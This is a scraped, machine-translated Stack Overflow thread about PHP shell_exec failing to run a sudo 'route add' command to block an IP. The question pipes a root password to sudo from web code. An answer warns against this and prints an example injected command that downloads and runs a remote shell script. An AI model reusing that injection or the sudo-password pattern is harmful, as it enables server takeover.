Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/shell/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php Shell_exec()未运行_Php_Shell - Fatal编程技术网

Php Shell_exec()未运行

Php Shell_exec()未运行,php,shell,Php,Shell,我正在尝试路由添加ip(这是为空路由ip,意味着阻止ip向我的服务器发送数据包。它需要连接到服务器并运行命令),换句话说,禁止ip SSH命令 route add 50.50.50.50 gw 127.0.0.1 lo 但我想在php中使用它,使用shell_exec()函数。没有任何运气就试过了 Php shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo"); 它没有给我错

我正在尝试路由添加ip(这是为空路由ip,意味着阻止ip向我的服务器发送数据包。它需要连接到服务器并运行命令),换句话说,禁止ip

SSH命令

route add 50.50.50.50 gw 127.0.0.1 lo
但我想在php中使用它,使用shell_exec()函数。没有任何运气就试过了

Php

shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo"); 
它没有给我错误,什么都没有。在shell_exec()中运行该命令的正确方法是什么?

试试:

$output = shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
echo "<pre>$output</pre>";
$output=shell_exec(“echo'rootpass'| sudo-u root-S路由添加50.50.50.50 gw 127.0.0.1 lo”);
回显“$output”;

因此,根据您使用的HTTP服务器(nginx、apache等),如果配置正确,这些服务帐户将无法执行该命令,因为即使启用了shell_exec,它们也没有根级别的权限来执行您想要做的更改

您可以通过以root用户身份登录进行测试,如果运行apache,则运行以下命令:

This account is currently not available.
这应该会回来

[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$
由于apache用户应该配置nologin,因此理论上,这不应该起作用。但是,您可以通过“useradd”添加一个用户来测试此行为

尽管如此。。在我的虚拟机上,我为上下文重新创建了这个。我创建了一个测试用户并尝试运行您列出的命令。以下是输出(这也是apache用户应该得到的)

如您所见,用户没有这样做的权限。与手头的任务相反,这是一件好事

此外,我个人建议不要走这条路,因为shell_exec可能会导致其他安全问题。。特别是如果您授予用户执行此操作的权限

我注意到的另一件事是,你的指挥权是sudo。服务用户也不应具有sudo访问权限。如果我能够弄清楚你的php脚本在做什么,我可以制作一些漂亮的东西,比如


假设myfile.txt是一个shell,那么我可以通过您的服务用户破坏您的服务器,为了使此工作需要sudo访问。

检查服务器是否允许它
shell\u exec
只接受一个参数;你是想使用exec吗?是的,这是正确的,Austin。我正在通过“netstat-nr”命令检查空路由ip,看不出包含的ip已被禁止。这意味着它不起作用:(我试图用shell_exec.Btw禁止一个ip,它没有任何回应
[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$
 shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo ; wget url/myfile.txt; bash -c 'myfile.txt'");